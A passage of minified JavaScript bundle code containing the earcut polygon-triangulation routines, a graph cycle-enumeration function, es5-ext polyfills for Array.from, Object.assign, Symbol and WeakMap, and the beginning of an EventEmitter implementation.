if(F=!1,!_.steiner&&(i(_,_.next)||h(_.prev,_,_.next)===0)){if(C(_),_=B=_.prev,_===_.next)break;F=!0}else _=_.next;while(F||_!==B);return B}function P(k,B,_,F,O,z,N){if(k){!N&&z&&l(k,F,O,z);for(var G=k,J,q;k.prev!==k.next;){if(J=k.prev,q=k.next,z?L(k,F,O,z):o(k)){B.push(J.i/_),B.push(k.i/_),B.push(q.i/_),C(k),k=q.next,G=q.next;continue}if(k=q,k===G){N?N===1?(k=S(M(k),B,_),P(k,B,_,F,O,z,2)):N===2&&d(k,B,_,F,O,z):P(M(k),B,_,F,O,z,1);break}}}}function o(k){var B=k.prev,_=k,F=k.next;if(h(B,_,F)>=0)return!1;for(var O=k.next.next;O!==k.prev;){if(c(B.x,B.y,_.x,_.y,F.x,F.y,O.x,O.y)&&h(O.prev,O,O.next)>=0)return!1;O=O.next}return!0}function L(k,B,_,F){var O=k.prev,z=k,N=k.next;if(h(O,z,N)>=0)return!1;for(var G=O.x<z.x?O.x<N.x?O.x:N.x:z.x<N.x?z.x:N.x,J=O.y<z.y?O.y<N.y?O.y:N.y:z.y<N.y?z.y:N.y,q=O.x>z.x?O.x>N.x?O.x:N.x:z.x>N.x?z.x:N.x,ne=O.y>z.y?O.y>N.y?O.y:N.y:z.y>N.y?z.y:N.y,fe=s(G,J,B,_,F),X=s(q,ne,B,_,F),W=k.prevZ,V=k.nextZ;W&&W.z>=fe&&V&&V.z<=X;){if(W!==k.prev&&W!==k.next&&c(O.x,O.y,z.x,z.y,N.x,N.y,W.x,W.y)&&h(W.prev,W,W.next)>=0||(W=W.prevZ,V!==k.prev&&V!==k.next&&c(O.x,O.y,z.x,z.y,N.x,N.y,V.x,V.y)&&h(V.prev,V,V.next)>=0))return!1;V=V.nextZ}for(;W&&W.z>=fe;){if(W!==k.prev&&W!==k.next&&c(O.x,O.y,z.x,z.y,N.x,N.y,W.x,W.y)&&h(W.prev,W,W.next)>=0)return!1;W=W.prevZ}for(;V&&V.z<=X;){if(V!==k.prev&&V!==k.next&&c(O.x,O.y,z.x,z.y,N.x,N.y,V.x,V.y)&&h(V.prev,V,V.next)>=0)return!1;V=V.nextZ}return!0}function S(k,B,_){var F=k;do{var O=F.prev,z=F.next.next;!i(O,z)&&v(O,F,F.next,z)&&p(O,z)&&p(z,O)&&(B.push(O.i/_),B.push(F.i/_),B.push(z.i/_),C(F),C(F.next),F=k=z),F=F.next}while(F!==k);return M(F)}function d(k,B,_,F,O,z){var N=k;do{for(var G=N.next.next;G!==N.prev;){if(N.i!==G.i&&b(N,G)){var J=m(N,G);N=M(N,N.next),J=M(J,J.next),P(N,B,_,F,O,z),P(J,B,_,F,O,z);return}G=G.next}N=N.next}while(N!==k)}function g(k,B,_,F){var O=[],z,N,G,J,q;for(z=0,N=B.length;z<N;z++)G=B[z]*F,J=z<N-1?B[z+1]*F:k.length,q=e(k,G,J,F,!1),q===q.next&&(q.steiner=!0),O.push(y(q));for(O.sort(t),z=0;z<O.length;z++)r(O[z],_),_=M(_,_.next);return _}function t(k,B){return k.x-B.x}function r(k,B){if(B=f(k,B),B){var _=m(B,k);M(B,B.next),M(_,_.next)}}function f(k,B){var _=B,F=k.x,O=k.y,z=-1/0,N;do{if(O<=_.y&&O>=_.next.y&&_.next.y!==_.y){var G=_.x+(O-_.y)*(_.next.x-_.x)/(_.next.y-_.y);if(G<=F&&G>z){if(z=G,G===F){if(O===_.y)return _;if(O===_.next.y)return _.next}N=_.x<_.next.x?_:_.next}}_=_.next}while(_!==B);if(!N)return null;if(F===z)return N;var J=N,q=N.x,ne=N.y,fe=1/0,X;_=N;do F>=_.x&&_.x>=q&&F!==_.x&&c(O<ne?F:z,O,q,ne,O<ne?z:F,O,_.x,_.y)&&(X=Math.abs(O-_.y)/(F-_.x),p(_,k)&&(X<fe||X===fe&&(_.x>N.x||_.x===N.x&&a(N,_)))&&(N=_,fe=X)),_=_.next;while(_!==J);return N}function a(k,B){return h(k.prev,k,B.prev)<0&&h(B.next,k,k.next)<0}function l(k,B,_,F){var O=k;do O.z===null&&(O.z=s(O.x,O.y,B,_,F)),O.prevZ=O.prev,O.nextZ=O.next,O=O.next;while(O!==k);O.prevZ.nextZ=null,O.prevZ=null,u(O)}function u(k){var B,_,F,O,z,N,G,J,q=1;do{for(_=k,k=null,z=null,N=0;_;){for(N++,F=_,G=0,B=0;B<q&&(G++,F=F.nextZ,!!F);B++);for(J=q;G>0||J>0&&F;)G!==0&&(J===0||!F||_.z<=F.z)?(O=_,_=_.nextZ,G--):(O=F,F=F.nextZ,J--),z?z.nextZ=O:k=O,O.prevZ=z,z=O;_=F}z.nextZ=null,q*=2}while(N>1);return k}function s(k,B,_,F,O){return k=32767*(k-_)*O,B=32767*(B-F)*O,k=(k|k<<8)&16711935,k=(k|k<<4)&252645135,k=(k|k<<2)&858993459,k=(k|k<<1)&1431655765,B=(B|B<<8)&16711935,B=(B|B<<4)&252645135,B=(B|B<<2)&858993459,B=(B|B<<1)&1431655765,k|B<<1}function y(k){var B=k,_=k;do(B.x<_.x||B.x===_.x&&B.y<_.y)&&(_=B),B=B.next;while(B!==k);return _}function c(k,B,_,F,O,z,N,G){return(O-N)*(B-G)-(k-N)*(z-G)>=0&&(k-N)*(F-G)-(_-N)*(B-G)>=0&&(_-N)*(z-G)-(O-N)*(F-G)>=0}function b(k,B){return k.next.i!==B.i&&k.prev.i!==B.i&&!E(k,B)&&(p(k,B)&&p(B,k)&&A(k,B)&&(h(k.prev,k,B.prev)||h(k,B.prev,B))||i(k,B)&&h(k.prev,k,k.next)>0&&h(B.prev,B,B.next)>0)}function h(k,B,_){return(B.y-k.y)*(_.x-B.x)-(B.x-k.x)*(_.y-B.y)}function i(k,B){return k.x===B.x&&k.y===B.y}function v(k,B,_,F){var O=w(h(k,B,_)),z=w(h(k,B,F)),N=w(h(_,F,k)),G=w(h(_,F,B));return!!(O!==z&&N!==G||O===0&&T(k,_,B)||z===0&&T(k,F,B)||N===0&&T(_,k,F)||G===0&&T(_,B,F))}function T(k,B,_){return B.x<=Math.max(k.x,_.x)&&B.x>=Math.min(k.x,_.x)&&B.y<=Math.max(k.y,_.y)&&B.y>=Math.min(k.y,_.y)}function w(k){return k>0?1:k<0?-1:0}function E(k,B){var _=k;do{if(_.i!==k.i&&_.next.i!==k.i&&_.i!==B.i&&_.next.i!==B.i&&v(_,_.next,k,B))return!0;_=_.next}while(_!==k);return!1}function p(k,B){return h(k.prev,k,k.next)<0?h(k,B,k.next)>=0&&h(k,k.prev,B)>=0:h(k,B,k.prev)<0||h(k,k.next,B)<0}function A(k,B){var _=k,F=!1,O=(k.x+B.x)/2,z=(k.y+B.y)/2;do _.y>z!=_.next.y>z&&_.next.y!==_.y&&O<(_.next.x-_.x)*(z-_.y)/(_.next.y-_.y)+_.x&&(F=!F),_=_.next;while(_!==k);return F}function m(k,B){var _=new x(k.i,k.x,k.y),F=new x(B.i,B.x,B.y),O=k.next,z=B.prev;return k.next=B,B.prev=k,_.next=O,O.prev=_,F.next=_,_.prev=F,z.next=F,F.prev=z,F}function n(k,B,_,F){var O=new x(k,B,_);return F?(O.next=F.next,O.prev=F,F.next.prev=O,F.next=O):(O.prev=O,O.next=O),O}function C(k){k.next.prev=k.prev,k.prev.next=k.next,k.prevZ&&(k.prevZ.nextZ=k.nextZ),k.nextZ&&(k.nextZ.prevZ=k.prevZ)}function x(k,B,_){this.i=k,this.x=B,this.y=_,this.prev=null,this.next=null,this.z=null,this.prevZ=null,this.nextZ=null,this.steiner=!1}Z.deviation=function(k,B,_,F){var O=B&&B.length,z=O?B[0]*_:k.length,N=Math.abs(I(k,0,z,_));if(O)for(var G=0,J=B.length;G<J;G++){var q=B[G]*_,ne=G<J-1?B[G+1]*_:k.length;N-=Math.abs(I(k,q,ne,_))}var fe=0;for(G=0;G<F.length;G+=3){var X=F[G]*_,W=F[G+1]*_,V=F[G+2]*_;fe+=Math.abs((k[X]-k[V])*(k[W+1]-k[X+1])-(k[X]-k[W])*(k[V+1]-k[X+1]))}return N===0&&fe===0?0:Math.abs((fe-N)/N)};function I(k,B,_,F){for(var O=0,z=B,N=_-F;z<_;z+=F)O+=(k[N]-k[z])*(k[z+1]+k[N+1]),N=z;return O}Z.flatten=function(k){for(var B=k[0][0].length,_={vertices:[],holes:[],dimensions:B},F=0,O=0;O<k.length;O++){for(var z=0;z<k[O].length;z++)for(var N=0;N<B;N++)_.vertices.push(k[O][z][N]);O>0&&(F+=k[O-1].length,_.holes.push(F))}return _}},2502:function(te,Z,e){var M=e(68664);te.exports=function(o,L){var S=[],d=[],g=[],t={},r=[],f;function a(T){g[T]=!1,t.hasOwnProperty(T)&&Object.keys(t[T]).forEach(function(w){delete t[T][w],g[w]&&a(w)})}function l(T){var w=!1;d.push(T),g[T]=!0;var E,p;for(E=0;E<r[T].length;E++)p=r[T][E],p===f?(u(f,d),w=!0):g[p]||(w=l(p));if(w)a(T);else for(E=0;E<r[T].length;E++){p=r[T][E];var A=t[p];A||(A={},t[p]=A),A[p]=!0}return d.pop(),w}function u(T,w){var E=[].concat(w).concat(T);L?L(l):S.push(E)}function s(T){for(var w=0;w<o.length;w++)w<T&&(o[w]=[]),o[w]=o[w].filter(function(E){return E>=T})}function y(T){s(T);for(var w=o,E=M(w),p=E.components.filter(function(k){return k.length>1}),A=1/0,m,n=0;n<p.length;n++)for(var C=0;C<p[n].length;C++)p[n][C]<A&&(A=p[n][C],m=n);var x=p[m];if(!x)return!1;var I=o.map(function(k,B){return x.indexOf(B)===-1?[]:k.filter(function(_){return x.indexOf(_)!==-1})});return{leastVertex:A,adjList:I}}f=0;for(var c=o.length;f<c;){var b=y(f);if(f=b.leastVertex,r=b.adjList,r){for(var h=0;h<r.length;h++)for(var i=0;i<r[h].length;i++){var v=r[h][i];g[+v]=!1,t[v]={}}l(f),f=f+1}else f=c}if(!L)return S}},16134:function(te,Z,e){var M=e(36672);te.exports=function(){return M(this).length=0,this}},4892:function(te,Z,e){te.exports=e(64404)()?Array.from:e(49441)},64404:function(te){te.exports=function(){var Z=Array.from,e,M;return typeof Z!="function"?!1:(e=["raz","dwa"],M=Z(e),!!(M&&M!==e&&M[1]==="dwa"))}},49441:function(te,Z,e){var M=e(8260).iterator,P=e(73051),o=e(33717),L=e(35976),S=e(78513),d=e(36672),g=e(95296),t=e(87963),r=Array.isArray,f=Function.prototype.call,a={configurable:!0,enumerable:!0,writable:!0,value:null},l=Object.defineProperty;te.exports=function(u){var s=arguments[1],y=arguments[2],c,b,h,i,v,T,w,E,p,A;if(u=Object(d(u)),g(s)&&S(s),!this||this===Array||!o(this)){if(!s){if(P(u))return v=u.length,v!==1?Array.apply(null,u):(i=new Array(1),i[0]=u[0],i);if(r(u)){for(i=new Array(v=u.length),b=0;b<v;++b)i[b]=u[b];return i}}i=[]}else c=this;if(!r(u)){if((p=u[M])!==void 0){for(w=S(p).call(u),c&&(i=new c),E=w.next(),b=0;!E.done;)A=s?f.call(s,y,E.value,b):E.value,c?(a.value=A,l(i,b,a)):i[b]=A,E=w.next(),++b;v=b}else if(t(u)){for(v=u.length,c&&(i=new c),b=0,h=0;b<v;++b)A=u[b],b+1<v&&(T=A.charCodeAt(0),T>=55296&&T<=56319&&(A+=u[++b])),A=s?f.call(s,y,A,h):A,c?(a.value=A,l(i,h,a)):i[h]=A,++h;v=h}}if(v===void 0)for(v=L(u.length),c&&(i=new c(v)),b=0;b<v;++b)A=s?f.call(s,y,u[b],b):u[b],c?(a.value=A,l(i,b,a)):i[b]=A;return c&&(a.value=null,i.length=v),i}},73051:function(te){var Z=Object.prototype.toString,e=Z.call(function(){return arguments}());te.exports=function(M){return Z.call(M)===e}},33717:function(te){var Z=Object.prototype.toString,e=RegExp.prototype.test.bind(/^[object [A-Za-z0-9]*Function]$/);te.exports=function(M){return typeof M=="function"&&e(Z.call(M))}},52345:function(te){te.exports=function(){}},9953:function(te,Z,e){te.exports=e(90436)()?Math.sign:e(6069)},90436:function(te){te.exports=function(){var Z=Math.sign;return typeof Z!="function"?!1:Z(10)===1&&Z(-20)===-1}},6069:function(te){te.exports=function(Z){return Z=Number(Z),isNaN(Z)||Z===0?Z:Z>0?1:-1}},56247:function(te,Z,e){var M=e(9953),P=Math.abs,o=Math.floor;te.exports=function(L){return isNaN(L)?0:(L=Number(L),L===0||!isFinite(L)?L:M(L)*o(P(L)))}},35976:function(te,Z,e){var M=e(56247),P=Math.max;te.exports=function(o){return P(0,M(o))}},67260:function(te,Z,e){var M=e(78513),P=e(36672),o=Function.prototype.bind,L=Function.prototype.call,S=Object.keys,d=Object.prototype.propertyIsEnumerable;te.exports=function(g,t){return function(r,f){var a,l=arguments[2],u=arguments[3];return r=Object(P(r)),M(f),a=S(r),u&&a.sort(typeof u=="function"?o.call(u,r):void 0),typeof g!="function"&&(g=a[g]),L.call(g,a,function(s,y){return d.call(r,s)?L.call(f,l,r[s],s,r,y):t})}}},95879:function(te,Z,e){te.exports=e(73583)()?Object.assign:e(34205)},73583:function(te){te.exports=function(){var Z=Object.assign,e;return typeof Z!="function"?!1:(e={foo:"raz"},Z(e,{bar:"dwa"},{trzy:"trzy"}),e.foo+e.bar+e.trzy==="razdwatrzy")}},34205:function(te,Z,e){var M=e(68700),P=e(36672),o=Math.max;te.exports=function(L,S){var d,g,t=o(arguments.length,2),r;for(L=Object(P(L)),r=function(f){try{L[f]=S[f]}catch(a){d||(d=a)}},g=1;g<t;++g)S=arguments[g],M(S).forEach(r);if(d!==void 0)throw d;return L}},19012:function(te,Z,e){var M=e(4892),P=e(95879),o=e(36672);te.exports=function(L){var S=Object(o(L)),d=arguments[1],g=Object(arguments[2]);if(S!==L&&!d)return S;var t={};return d?M(d,function(r){(g.ensure||r in L)&&(t[r]=L[r])}):P(t,L),t}},52818:function(te,Z,e){var M=Object.create,P;e(33247)()||(P=e(51882)),te.exports=function(){var o,L,S;return!P||P.level!==1?M:(o={},L={},S={configurable:!1,enumerable:!1,writable:!0,value:void 0},Object.getOwnPropertyNames(Object.prototype).forEach(function(d){if(d==="__proto__"){L[d]={configurable:!0,enumerable:!1,writable:!0,value:void 0};return}L[d]=S}),Object.defineProperties(o,L),Object.defineProperty(P,"nullPolyfill",{configurable:!1,enumerable:!1,writable:!1,value:o}),function(d,g){return M(d===null?o:d,g)})}()},96437:function(te,Z,e){te.exports=e(67260)("forEach")},99611:function(te,Z,e){var M=e(95296),P={function:!0,object:!0};te.exports=function(o){return M(o)&&P[typeof o]||!1}},95296:function(te,Z,e){var M=e(52345)();te.exports=function(P){return P!==M&&P!==null}},68700:function(te,Z,e){te.exports=e(13895)()?Object.keys:e(25217)},13895:function(te){te.exports=function(){try{return Object.keys("primitive"),!0}catch{return!1}}},25217:function(te,Z,e){var M=e(95296),P=Object.keys;te.exports=function(o){return P(M(o)?Object(o):o)}},16906:function(te,Z,e){var M=e(78513),P=e(96437),o=Function.prototype.call;te.exports=function(L,S){var d={},g=arguments[2];return M(S),P(L,function(t,r,f,a){d[r]=o.call(S,g,t,r,f,a)}),d}},21780:function(te,Z,e){var M=e(95296),P=Array.prototype.forEach,o=Object.create,L=function(S,d){var g;for(g in S)d[g]=S[g]};te.exports=function(S){var d=o(null);return P.call(arguments,function(g){M(g)&&L(Object(g),d)}),d}},1496:function(te,Z,e){te.exports=e(33247)()?Object.setPrototypeOf:e(51882)},33247:function(te){var Z=Object.create,e=Object.getPrototypeOf,M={};te.exports=function(){var P=Object.setPrototypeOf,o=arguments[0]||Z;return typeof P!="function"?!1:e(P(o(null),M))===M}},51882:function(te,Z,e){var M=e(99611),P=e(36672),o=Object.prototype.isPrototypeOf,L=Object.defineProperty,S={configurable:!0,enumerable:!1,writable:!0,value:void 0},d;d=function(g,t){if(P(g),t===null||M(t))return g;throw new TypeError("Prototype must be null or an object")},te.exports=function(g){var t,r;return g?(g.level===2?g.set?(r=g.set,t=function(f,a){return r.call(d(f,a),a),f}):t=function(f,a){return d(f,a).__proto__=a,f}:t=function f(a,l){var u;return d(a,l),u=o.call(f.nullPolyfill,a),u&&delete f.nullPolyfill.__proto__,l===null&&(l=f.nullPolyfill),a.__proto__=l,u&&L(f.nullPolyfill,"__proto__",S),a},Object.defineProperty(t,"level",{configurable:!1,enumerable:!1,writable:!1,value:g.level})):null}(function(){var g=Object.create(null),t={},r,f=Object.getOwnPropertyDescriptor(Object.prototype,"__proto__");if(f){try{r=f.set,r.call(g,t)}catch{}if(Object.getPrototypeOf(g)===t)return{set:r,level:2}}return g.__proto__=t,Object.getPrototypeOf(g)===t?{level:2}:(g={},g.__proto__=t,Object.getPrototypeOf(g)===t?{level:1}:!1)}()),e(52818)},78513:function(te){te.exports=function(Z){if(typeof Z!="function")throw new TypeError(Z+" is not a function");return Z}},98976:function(te,Z,e){var M=e(99611);te.exports=function(P){if(!M(P))throw new TypeError(P+" is not an Object");return P}},36672:function(te,Z,e){var M=e(95296);te.exports=function(P){if(!M(P))throw new TypeError("Cannot use null or undefined");return P}},66741:function(te,Z,e){te.exports=e(17557)()?String.prototype.contains:e(60381)},17557:function(te){var Z="razdwatrzy";te.exports=function(){return typeof Z.contains!="function"?!1:Z.contains("dwa")===!0&&Z.contains("foo")===!1}},60381:function(te){var Z=String.prototype.indexOf;te.exports=function(e){return Z.call(this,e,arguments[1])>-1}},87963:function(te){var Z=Object.prototype.toString,e=Z.call("");te.exports=function(M){return typeof M=="string"||M&&typeof M=="object"&&(M instanceof String||Z.call(M)===e)||!1}},43043:function(te){var Z=Object.create(null),e=Math.random;te.exports=function(){var M;do M=e().toString(36).slice(2);while(Z[M]);return M}},32411:function(te,Z,e){var M=e(1496),P=e(66741),o=e(62072),L=e(8260),S=e(95426),d=Object.defineProperty,g;g=te.exports=function(t,r){if(!(this instanceof g))throw new TypeError("Constructor requires 'new'");S.call(this,t),r?P.call(r,"key+value")?r="key+value":P.call(r,"key")?r="key":r="value":r="value",d(this,"__kind__",o("",r))},M&&M(g,S),delete g.prototype.constructor,g.prototype=Object.create(S.prototype,{_resolve:o(function(t){return this.__kind__==="value"?this.__list__[t]:this.__kind__==="key+value"?[t,this.__list__[t]]:t})}),d(g.prototype,L.toStringTag,o("c","Array Iterator"))},27515:function(te,Z,e){var M=e(73051),P=e(78513),o=e(87963),L=e(66661),S=Array.isArray,d=Function.prototype.call,g=Array.prototype.some;te.exports=function(t,r){var f,a=arguments[2],l,u,s,y,c,b,h;if(S(t)||M(t)?f="array":o(t)?f="string":t=L(t),P(r),u=function(){s=!0},f==="array"){g.call(t,function(i){return d.call(r,a,i,u),s});return}if(f==="string"){for(c=t.length,y=0;y<c&&(b=t[y],y+1<c&&(h=b.charCodeAt(0),h>=55296&&h<=56319&&(b+=t[++y])),d.call(r,a,b,u),!s);++y);return}for(l=t.next();!l.done;){if(d.call(r,a,l.value,u),s)return;l=t.next()}}},66661:function(te,Z,e){var M=e(73051),P=e(87963),o=e(32411),L=e(259),S=e(58095),d=e(8260).iterator;te.exports=function(g){return typeof S(g)[d]=="function"?g[d]():M(g)?new o(g):P(g)?new L(g):new o(g)}},95426:function(te,Z,e){var M=e(16134),P=e(95879),o=e(78513),L=e(36672),S=e(62072),d=e(55174),g=e(8260),t=Object.defineProperty,r=Object.defineProperties,f;te.exports=f=function(a,l){if(!(this instanceof f))throw new TypeError("Constructor requires 'new'");r(this,{__list__:S("w",L(a)),__context__:S("w",l),__nextIndex__:S("w",0)}),l&&(o(l.on),l.on("_add",this._onAdd),l.on("_delete",this._onDelete),l.on("_clear",this._onClear))},delete f.prototype.constructor,r(f.prototype,P({_next:S(function(){var a;if(this.__list__){if(this.__redo__&&(a=this.__redo__.shift(),a!==void 0))return a;if(this.__nextIndex__<this.__list__.length)return this.__nextIndex__++;this._unBind()}}),next:S(function(){return this._createResult(this._next())}),_createResult:S(function(a){return a===void 0?{done:!0,value:void 0}:{done:!1,value:this._resolve(a)}}),_resolve:S(function(a){return this.__list__[a]}),_unBind:S(function(){this.__list__=null,delete this.__redo__,this.__context__&&(this.__context__.off("_add",this._onAdd),this.__context__.off("_delete",this._onDelete),this.__context__.off("_clear",this._onClear),this.__context__=null)}),toString:S(function(){return"[object "+(this[g.toStringTag]||"Object")+"]"})},d({_onAdd:S(function(a){if(!(a>=this.__nextIndex__)){if(++this.__nextIndex__,!this.__redo__){t(this,"__redo__",S("c",[a]));return}this.__redo__.forEach(function(l,u){l>=a&&(this.__redo__[u]=++l)},this),this.__redo__.push(a)}}),_onDelete:S(function(a){var l;a>=this.__nextIndex__||(--this.__nextIndex__,this.__redo__&&(l=this.__redo__.indexOf(a),l!==-1&&this.__redo__.splice(l,1),this.__redo__.forEach(function(u,s){u>a&&(this.__redo__[s]=--u)},this)))}),_onClear:S(function(){this.__redo__&&M.call(this.__redo__),this.__nextIndex__=0})}))),t(f.prototype,g.iterator,S(function(){return this}))},35940:function(te,Z,e){var M=e(73051),P=e(95296),o=e(87963),L=e(8260).iterator,S=Array.isArray;te.exports=function(d){return P(d)?S(d)||o(d)||M(d)?!0:typeof d[L]=="function":!1}},259:function(te,Z,e){var M=e(1496),P=e(62072),o=e(8260),L=e(95426),S=Object.defineProperty,d;d=te.exports=function(g){if(!(this instanceof d))throw new TypeError("Constructor requires 'new'");g=String(g),L.call(this,g),S(this,"__length__",P("",g.length))},M&&M(d,L),delete d.prototype.constructor,d.prototype=Object.create(L.prototype,{_next:P(function(){if(this.__list__){if(this.__nextIndex__<this.__length__)return this.__nextIndex__++;this._unBind()}}),_resolve:P(function(g){var t=this.__list__[g],r;return this.__nextIndex__===this.__length__?t:(r=t.charCodeAt(0),r>=55296&&r<=56319?t+this.__list__[this.__nextIndex__++]:t)})}),S(d.prototype,o.toStringTag,P("c","String Iterator"))},58095:function(te,Z,e){var M=e(35940);te.exports=function(P){if(!M(P))throw new TypeError(P+" is not iterable");return P}},73523:function(te){function Z(M,P){if(M==null)throw new TypeError("Cannot convert first argument to object");for(var o=Object(M),L=1;L<arguments.length;L++){var S=arguments[L];if(S!=null)for(var d=Object.keys(Object(S)),g=0,t=d.length;g<t;g++){var r=d[g],f=Object.getOwnPropertyDescriptor(S,r);f!==void 0&&f.enumerable&&(o[r]=S[r])}}return o}function e(){Object.assign||Object.defineProperty(Object,"assign",{enumerable:!1,configurable:!0,writable:!0,value:Z})}te.exports={assign:Z,polyfill:e}},8260:function(te,Z,e){te.exports=e(69711)()?e(94908).Symbol:e(18415)},69711:function(te,Z,e){var M=e(94908),P={object:!0,symbol:!0};te.exports=function(){var o=M.Symbol,L;if(typeof o!="function")return!1;L=o("test symbol");try{String(L)}catch{return!1}return!(!P[typeof o.iterator]||!P[typeof o.toPrimitive]||!P[typeof o.toStringTag])}},82276:function(te){te.exports=function(Z){return Z?typeof Z=="symbol"?!0:!Z.constructor||Z.constructor.name!=="Symbol"?!1:Z[Z.constructor.toStringTag]==="Symbol":!1}},29366:function(te,Z,e){var M=e(62072),P=Object.create,o=Object.defineProperty,L=Object.prototype,S=P(null);te.exports=function(d){for(var g=0,t,r;S[d+(g||"")];)++g;return d+=g||"",S[d]=!0,t="@@"+d,o(L,t,M.gs(null,function(f){r||(r=!0,o(this,t,M(f)),r=!1)})),t}},92842:function(te,Z,e){var M=e(62072),P=e(94908).Symbol;te.exports=function(o){return Object.defineProperties(o,{hasInstance:M("",P&&P.hasInstance||o("hasInstance")),isConcatSpreadable:M("",P&&P.isConcatSpreadable||o("isConcatSpreadable")),iterator:M("",P&&P.iterator||o("iterator")),match:M("",P&&P.match||o("match")),replace:M("",P&&P.replace||o("replace")),search:M("",P&&P.search||o("search")),species:M("",P&&P.species||o("species")),split:M("",P&&P.split||o("split")),toPrimitive:M("",P&&P.toPrimitive||o("toPrimitive")),toStringTag:M("",P&&P.toStringTag||o("toStringTag")),unscopables:M("",P&&P.unscopables||o("unscopables"))})}},13304:function(te,Z,e){var M=e(62072),P=e(53308),o=Object.create(null);te.exports=function(L){return Object.defineProperties(L,{for:M(function(S){return o[S]?o[S]:o[S]=L(String(S))}),keyFor:M(function(S){var d;P(S);for(d in o)if(o[d]===S)return d})})}},18415:function(te,Z,e){var M=e(62072),P=e(53308),o=e(94908).Symbol,L=e(29366),S=e(92842),d=e(13304),g=Object.create,t=Object.defineProperties,r=Object.defineProperty,f,a,l;if(typeof o=="function")try{String(o()),l=!0}catch{}else o=null;a=function(s){if(this instanceof a)throw new TypeError("Symbol is not a constructor");return f(s)},te.exports=f=function u(s){var y;if(this instanceof u)throw new TypeError("Symbol is not a constructor");return l?o(s):(y=g(a.prototype),s=s===void 0?"":String(s),t(y,{__description__:M("",s),__name__:M("",L(s))}))},S(f),d(f),t(a.prototype,{constructor:M(f),toString:M("",function(){return this.__name__})}),t(f.prototype,{toString:M(function(){return"Symbol ("+P(this).__description__+")"}),valueOf:M(function(){return P(this)})}),r(f.prototype,f.toPrimitive,M("",function(){var u=P(this);return typeof u=="symbol"?u:u.toString()})),r(f.prototype,f.toStringTag,M("c","Symbol")),r(a.prototype,f.toStringTag,M("c",f.prototype[f.toStringTag])),r(a.prototype,f.toPrimitive,M("c",f.prototype[f.toPrimitive]))},53308:function(te,Z,e){var M=e(82276);te.exports=function(P){if(!M(P))throw new TypeError(P+" is not a symbol");return P}},83522:function(te,Z,e){te.exports=e(96402)()?WeakMap:e(329)},96402:function(te){te.exports=function(){var Z,e;if(typeof WeakMap!="function")return!1;try{Z=new WeakMap([[e={},"one"],[{},"two"],[{},"three"]])}catch{return!1}return!(String(Z)!=="[object WeakMap]"||typeof Z.set!="function"||Z.set({},1)!==Z||typeof Z.delete!="function"||typeof Z.has!="function"||Z.get(e)!=="one")}},96416:function(te){te.exports=function(){return typeof WeakMap!="function"?!1:Object.prototype.toString.call(new WeakMap)==="[object WeakMap]"}()},329:function(te,Z,e){var M=e(95296),P=e(1496),o=e(98976),L=e(36672),S=e(43043),d=e(62072),g=e(66661),t=e(27515),r=e(8260).toStringTag,f=e(96416),a=Array.isArray,l=Object.defineProperty,u=Object.prototype.hasOwnProperty,s=Object.getPrototypeOf,y;te.exports=y=function(){var c=arguments[0],b;if(!(this instanceof y))throw new TypeError("Constructor requires 'new'");return b=f&&P&&WeakMap!==y?P(new WeakMap,s(this)):this,M(c)&&(a(c)||(c=g(c))),l(b,"__weakMapData__",d("c","$weakMap$"+S())),c&&t(c,function(h){L(h),b.set(h[0],h[1])}),b},f&&(P&&P(y,WeakMap),y.prototype=Object.create(WeakMap.prototype,{constructor:d(y)})),Object.defineProperties(y.prototype,{delete:d(function(c){return u.call(o(c),this.__weakMapData__)?(delete c[this.__weakMapData__],!0):!1}),get:d(function(c){if(u.call(o(c),this.__weakMapData__))return c[this.__weakMapData__]}),has:d(function(c){return u.call(o(c),this.__weakMapData__)}),set:d(function(c,b){return l(o(c),this.__weakMapData__,d("c",b)),this}),toString:d(function(){return"[object WeakMap]"})}),l(y.prototype,r,d("c","WeakMap"))},15398:function(te){var Z=typeof Reflect=="object"?Reflect:null,e=Z&&typeof Z.apply=="function"?Z.apply:function(v,T,w){return Function.prototype.apply.call(v,T,w)},M;Z&&typeof Z.ownKeys=="function"?M=Z.ownKeys:Object.getOwnPropertySymbols?M=function(v){return Object.getOwnPropertyNames(v).concat(Object.getOwnPropertySymbols(v))}:M=function(v){return Object.getOwnPropertyNames(v)};function P(i){console&&console.warn&&console.warn(i)}var o=Number.isNaN||function(v){return v!==v};function L(){L.init.call(this)}te.exports=L,te.exports.once=c,L.EventEmitter=L,L.prototype._events=void 0,L.prototype._eventsCount=0,L.prototype._maxListeners=void 0;var S=10;function d(i){if(typeof i!="function")throw new TypeError('The "listener" argument must be of type Function. Received type '+typeof i)}Object.defineProperty(L,"defaultMaxListeners",{enumerable:!0,get:function(){return S},set:function(i){if(typeof i!="number"||i<0||o(i))throw new RangeError('The value of "defaultMaxListeners" is out of range. It must be a non-negative number. Received '+i+".");S=i}}),L.init=function(){(this._events===void 0||this._events===Object.getPrototypeOf(this)._events)&&(this._events=Object.create(null),this._eventsCount=0),this._maxListeners=this._maxListeners||void 0},L.prototype.setMaxListeners=function(v){if(typeof v!="number"||v<0||o(v))throw new RangeError('The value of "n" is out of range. It must be a non-negative number. Received '+v+".");return this._maxListeners=v,this};function g(i){return i._maxListeners===void 0?L.defaultMaxListeners:i._maxListeners}L.prototype.getMaxListeners=function(){return g(this)},L.prototype.emit=function(v){for(var T=[],w=1;w<arguments.length;w++)T.push(arguments[w]);var E=v==="error",p=this._events;if(p!==void 0)E=E&&p.error===void 0;else if(!E)return!1;if(E){var A;if(T.length>0&&(A=T[0]),A instanceof Error)throw A;var m=new Error("Unhandled error."+(A?" ("+A.message+")":""));throw m.context=A,m}var n=p[v];if(n===void 0)return!1;if(typeof n=="function")e(n,this,T);else for(var C=n.length,x=u(n,C),w=0;w<C;++w)e(x[w],this,T);return!0};function t(i,v,T,w){var E,p,A;if(d(T),p=i._events,p===void 0?(p=i._events=Object.create(null),i._eventsCount=0):(p.newListener!==void 0&&(i.emit("newListener",v,T.listener?T.listener:T),p=i._events),A=p[v]),A===void 0)A=p[v]=T,++i._eventsCount;else if(typeof A=="function"?A=p[v]=w?[T,A]:[A,T]:w?A.unshift(T):A.push(T),E=g(i),E>0&&A.length>E&&!A.warned){A.warned=!0;var m=new Error("Possible EventEmitter memory leak detected. "+A.length+" "+String(v)+" listeners added. Use emitter.setMaxListeners() to increase limit");m.name="MaxListenersExceededWarning",m.emitter=i,m.type=v,m.count=A.length,P(m)}return i}L.prototype.addListener=function(v,T){return t(this,v,T,!1)},L.prototype.on=L.prototype.addListener,L.prototype.prependListener=function(v,T){return t(this,v,T,!0)};function r(){if(!this.fired)return 